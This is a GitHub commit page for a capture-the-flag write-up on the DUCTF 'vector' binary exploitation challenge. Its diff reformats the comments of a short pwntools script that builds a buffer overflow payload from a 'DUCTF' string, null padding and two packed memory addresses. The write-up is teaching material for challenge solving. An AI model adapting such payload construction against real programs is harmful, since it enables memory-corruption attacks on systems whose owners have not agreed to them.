Skip to content

Commit

Permalink
add explanations
Browse files Browse the repository at this point in the history
  • Loading branch information
sukolenvo committed Jul 12, 2024
1 parent 4f49b10 commit 8407bf4
Showing 1 changed file with 4 additions and 4 deletions.
8 changes: 4 additions & 4 deletions solve/vector/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -210,10 +210,10 @@ This is CTF framework for binary exploitation, its only "disadvantage" is it has

=== "python script"
```py
paylod = flat( # concatenate all elements one after another
b'DUCTF\x00', # first first bytes of the buffer is string DUCTF
'\x00' * 10, # fill in remaining 10 character with null bytes
pack(0x4051e0), # address 0x4051e0 converted to 8 bytes in little endian format
paylod = flat( # concatenate all elements one after another
b'DUCTF\x00', # first first bytes of the buffer is string DUCTF
'\x00' * 10, # fill in remaining 10 character with null bytes
pack(0x4051e0), # address 0x4051e0 converted to 8 bytes in little endian format
pack(0x4051e0 + 5) # address 0x4051e5 converted to 8 bytes in little endian format
)
print(hexdump(paylod))
Expand Down

0 comments on commit 8407bf4

Please sign in to comment.